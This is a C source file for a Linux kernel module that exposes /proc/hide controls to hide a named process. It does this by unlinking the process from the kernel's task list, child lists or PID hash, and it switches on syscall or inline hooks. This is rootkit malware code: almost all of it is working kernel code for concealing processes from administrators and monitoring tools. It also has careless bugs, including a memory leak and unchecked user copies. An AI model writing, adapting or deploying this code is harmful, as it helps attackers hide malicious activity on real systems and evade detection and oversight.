#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/list.h>
#include <linux/proc_fs.h>
#include <linux/uaccess.h>
#include <linux/fs.h>
#include <linux/pid.h>
#include <linux/seq_file.h>
#include <linux/slab.h>
#include <linux/ptrace.h>
#include <linux/pid_namespace.h>
#include "hide_procfs.h"
#include "hide_hook.h"
static struct proc_dir_entry *hide_dir, *task_list, *task_hide, *p_hide_type, *p_list_type, *p_hook_type;
char name[64];
static int hide_type;
static int list_type;
static int hook_type;
struct task_stack
{
	struct task_struct **task_head;
	int top;
};
static int task_stack_push(struct task_stack *task_stack,
			   struct task_struct *task)
{
	task_stack->top++;
	task_stack->task_head[task_stack->top - 1] = task;
	return 0;
}
static int task_stack_pop(struct task_stack *task_stack)
{
	if (task_stack->top < 1)
		return -1;
	task_stack->top--;
	return 0;
}
static int task_stack_top(struct task_stack *task_stack,
			  struct task_struct **task)
{
	if (task_stack->top < 1)
		return -1;
	*task = task_stack->task_head[task_stack->top - 1];
	return 0;
}
static inline int task_stack_empty(struct task_stack *task_stack)
{
	return task_stack->top;
}
static int task_show_childen(struct seq_file *m, void *v, char *pname, int del)
{
	struct task_stack task_stack = {.task_head = NULL, .top = 0};
	struct task_struct *task_tmp = NULL;
	struct task_struct *task_tmp__ = NULL;
	struct list_head *list = NULL;
	int ret = 0;
	struct task_struct *task = NULL;

	task = &init_task;
	task_stack.task_head = (struct task_struct **)kmalloc(65535 * sizeof(struct task_struct *), GFP_ATOMIC);
	if (!task_stack.task_head)
		return -1;

	memset(task_stack.task_head, 0, 65535 * sizeof(struct task_struct *));
	if (task_stack_push(&task_stack, task))
		return 0;
	if (!del)
	{
		seq_printf(m, "%8s	%s\n", "pid", "name");
		seq_printf(m, "%8d	%s\n", task->tgid, task->comm);
	}

	while (task_stack_empty(&task_stack))
	{
		if (!task_stack_top(&task_stack, &task_tmp))
		{
			if (task_tmp == NULL)
			{
				task_stack_pop(&task_stack);
				continue;
			}
			if (del)
			{
				if (pname && !strcmp(pname, task_tmp->comm)){
					list_del_rcu(&task_tmp->children);
					list_del_rcu(&task_tmp->sibling);
				}
			}
			else
			{
				seq_printf(m, "%8d	%s\n", task_tmp->tgid, task_tmp->comm);
			}
			task_stack_pop(&task_stack);
		}
		rcu_read_lock();
		list_for_each(list, &task_tmp->children)
		{
			task_tmp__ = list_entry(list, struct task_struct, sibling);
			ret = task_stack_push(&task_stack, task_tmp__);
			if (ret)
				break;
		}
		rcu_read_unlock();
	}
	return 0;
}
static int task_show_mgr_list(struct seq_file *m, void *v, char *pname, int del)
{
	struct task_struct *task = NULL;
	if (!del)
		seq_printf(m, "%8s	%s\n", "pid", "name");
	for_each_process(task)
	{
		if (del)
		{
			if (pname && !strcmp(pname, task->comm))
			{
				list_del_rcu(&task->tasks);
				break;
			}
		}
		else
		{
			seq_printf(m, "%8d	%s\n", task->tgid, task->comm);
		}
	}
	return 0;
}
struct tgid_iter
{
	unsigned int tgid;
	struct task_struct *task;
};
static inline int mk_pid(struct pid_namespace *pid_ns,
			 struct pidmap *map, int off)
{
	return (map - pid_ns->pidmap) * BITS_PER_PAGE + off;
}
static int my_next_pidmap(struct pid_namespace *pid_ns, unsigned int last)
{
	int offset;
	struct pidmap *map, *end;

	if (last >= PID_MAX_LIMIT)
		return -1;

	offset = (last + 1) & BITS_PER_PAGE_MASK;
	map = &pid_ns->pidmap[(last + 1) / BITS_PER_PAGE];
	end = &pid_ns->pidmap[PIDMAP_ENTRIES];
	for (; map < end; map++, offset = 0)
	{
		if (unlikely(!map->page))
			continue;
		offset = find_next_bit((map)->page, BITS_PER_PAGE, offset);
		if (offset < BITS_PER_PAGE)
			return mk_pid(pid_ns, map, offset);
	}
	return -1;
}
static struct pid *my_find_ge_pid(int nr, struct pid_namespace *ns)
{
	struct pid *pid;

	do
	{
		pid = find_pid_ns(nr, ns);
		if (pid)
			break;
		nr = my_next_pidmap(ns, nr);
	} while (nr > 0);

	return pid;
}
static struct tgid_iter next_tgid(struct pid_namespace *ns, struct tgid_iter iter)
{
	struct pid *pid;

	if (iter.task)
		put_task_struct(iter.task);
	rcu_read_lock();
retry:
	iter.task = NULL;
	pid = my_find_ge_pid(iter.tgid, ns);
	if (pid)
	{
		iter.tgid = pid_nr_ns(pid, ns);
		iter.task = pid_task(pid, PIDTYPE_PID);
		if (!iter.task || !has_group_leader_pid(iter.task))
		{
			iter.tgid += 1;
			goto retry;
		}
		get_task_struct(iter.task);
	}
	rcu_read_unlock();
	return iter;
}

static int task_show_mgr_hlist(struct seq_file *m, void *v, char *pname, int del)
{
	int nr = 0;
	struct pid_namespace *ns = NULL;
	struct pid *pid_;
	struct tgid_iter iter;
	struct task_struct *task = NULL;
	struct hlist_node *node = NULL;

	nr = current->tgid;
	pid_ = task_pid(current);
	ns = pid_->numbers[pid_->level].ns;
	iter.tgid = 1;
	iter.task = NULL;
	if (!del)
		seq_printf(m, "%8s	%s\n", "pid", "name");
	for (iter = next_tgid(ns, iter);
	     iter.task;
	     iter.tgid += 1, iter = next_tgid(ns, iter))
	{
		if (del)
		{
			if (pname && !(strcmp(pname, iter.task->comm)))
			{
				task = iter.task;
				node = &(task->pids[PIDTYPE_PID].node);
				hlist_del_rcu(node);
				node->pprev = &node;
			}
		}
		else
		{
			seq_printf(m, "%8d	%s\n", iter.task->tgid, iter.task->comm);
		}
	}
	return 0;
}
static int task_show(struct seq_file *m, void *v)
{
	int ret = 0;
	switch (list_type)
	{
	case 1:
		ret = task_show_mgr_list(m, v, NULL, 0);
		break;
	case 2:
		ret = task_show_childen(m, v, NULL, 0);
		break;
	case 3:
		ret = task_show_mgr_hlist(m, v, NULL, 0);
		break;
	default:
		printk("list type err.\n");
		break;
	}
	return ret;
}
static int task_proc_open(struct inode *inode, struct file *file)
{
	return single_open(file, task_show, NULL);
}
static struct file_operations task_list_fops =
    {
	.owner = THIS_MODULE,
	.read = seq_read,
	.open = task_proc_open,
	.llseek = seq_lseek,
};
static int hide_name_show(struct seq_file *m, void *v)
{
	if (strlen(name))
		seq_printf(m, "hide_name=%s\n", name);
	return 0;
}
static int hide_name_open(struct inode *inode, struct file *file)
{
	return single_open(file, hide_name_show, NULL);
}
static ssize_t hide_name_write(struct file *file, const char __user *buffer, size_t len, loff_t *offset)
{
	int ret = 0;

	if (len > 64)
		return -1;
	ret = copy_from_user((void *)name, (const void __user *)buffer, len - 1);
	name[len - 1] = '\0';
	return len;
}
static struct file_operations task_hide_fops =
    {
	.owner = THIS_MODULE,
	.read = seq_read,
	.open = hide_name_open,
	.write = hide_name_write,
};

static int hide_type_show(struct seq_file *m, void *v)
{
	seq_printf(m, "1 : mgr_list    :%d\n", 1 == hide_type ? 1 : 0);
	seq_printf(m, "2 : childen_list:%d\n", 2 == hide_type ? 1 : 0);
	seq_printf(m, "3 : mgr_hlist   :%d\n", 3 == hide_type ? 1 : 0);
	return 0;
}
static int hide_type_open(struct inode *inode, struct file *file)
{
	return single_open(file, hide_type_show, NULL);
}
static void hide_process(int __hide_type){
	//printk("%s hide_type=%d\n", __FUNCTION__, __hide_type);
	switch (__hide_type)
	{
	case 1:
		task_show_mgr_list(NULL, NULL, name, 1);
		break;
	case 2:
		task_show_childen(NULL, NULL, name, 1);
		break;
	case 3:
		task_show_mgr_hlist(NULL, NULL, name, 1);
		break;
	default:
		break;
	}
}
static ssize_t hide_type_write(struct file *file, const char __user *buffer, size_t len, loff_t *offset)
{
	char hide_type_str[64] = {0};
	int ret = 0;

	if (len > 64)
		return -1;
	ret = copy_from_user((void *)hide_type_str, (const void __user *)buffer, len);
	sscanf(hide_type_str, "%d", &hide_type);

	if (!strlen(name))
	{
		printk("Please input process name first,user 'echo xxx > /titan/hide/hide_process.'\n");
		return len;
	}
	printk("hide process name = %s, len = %ld\n", name, strlen(name));
	hide_process(hide_type);

	return len;
}
static struct file_operations hide_type_fops =
    {
	.owner = THIS_MODULE,
	.read = seq_read,
	.open = hide_type_open,
	.llseek = seq_lseek,
	.write = hide_type_write,
};
static int list_type_show(struct seq_file *m, void *v)
{
	seq_printf(m, "1 : mgr_list    :%d\n", 1 == list_type ? 1 : 0);
	seq_printf(m, "2 : childen_list:%d\n", 2 == list_type ? 1 : 0);
	seq_printf(m, "3 : mgr_hlist   :%d\n", 3 == list_type ? 1 : 0);
	return 0;
}
static int list_type_open(struct inode *inode, struct file *file)
{
	return single_open(file, list_type_show, NULL);
}
static ssize_t list_type_write(struct file *file, const char __user *buffer, size_t len, loff_t *offset)
{
	char hide_type_str[64] = {0};
	int ret = 0;

	if (len > 64)
		return -1;
	ret = copy_from_user((void *)hide_type_str, (const void __user *)buffer, len);
	sscanf(hide_type_str, "%d", &list_type);

	return len;
}
static struct file_operations list_type_fops =
    {
	.owner = THIS_MODULE,
	.read = seq_read,
	.open = list_type_open,
	.llseek = seq_lseek,
	.write = list_type_write,
};
static void hook_process(int __hook_type){
	switch (__hook_type)
	{
	case 1:		
		syscall_hook_init();
		break;
	case 2:		
		inline_hook_init();
		break;
	case 0:		
		syscall_hook_exit();
		inline_hook_exit();
		break;
	default:
		break;
	}
}
static int hook_type_show(struct seq_file *m, void *v)
{
	seq_printf(m, "1 : syscall_hook    :%d\n", 1 == list_type ? 1 : 0);
	seq_printf(m, "2 : inline_hook     :%d\n", 2 == list_type ? 1 : 0);
	return 0;
}
static int hook_type_open(struct inode *inode, struct file *file)
{
	return single_open(file, hook_type_show, NULL);
}
static ssize_t hook_type_write(struct file *file, const char __user *buffer, size_t len, loff_t *offset)
{
	char hook_type_str[64] = {0};
	int ret = 0;

	if (len > 64)
		return -1;
	ret = copy_from_user((void *)hook_type_str, (const void __user *)buffer, len);
	sscanf(hook_type_str, "%d", &hook_type);
	hook_process(hook_type);

	return len;
}
static struct file_operations hook_type_fops =
    {
	.owner = THIS_MODULE,
	.read = seq_read,
	.open = hook_type_open,
	.llseek = seq_lseek,
	.write = hook_type_write,
};
int task_procfs_init(void)
{
	int ret = 0;
	hide_dir = proc_mkdir("hide", NULL);
	if (hide_dir == NULL)
	{
		ret = -ENOMEM;
		return ret;
	}
	task_list = proc_create("list_process", 0644, hide_dir, &task_list_fops);
	task_hide = proc_create("hide_process", 0644, hide_dir, &task_hide_fops);
	p_hide_type = proc_create("hide_type", 0644, hide_dir, &hide_type_fops);
	p_list_type = proc_create("list_type", 0644, hide_dir, &list_type_fops);
	p_hook_type = proc_create("hook_type", 0644, hide_dir, &hook_type_fops);
	return ret;
}
void task_procfs_exit(void)
{
	remove_proc_entry("list_process", hide_dir);
	remove_proc_entry("hide_process", hide_dir);
	remove_proc_entry("hide_type", hide_dir);
	remove_proc_entry("list_type", hide_dir);
	remove_proc_entry("hook_type", hide_dir);
	remove_proc_entry("hide", NULL);
}
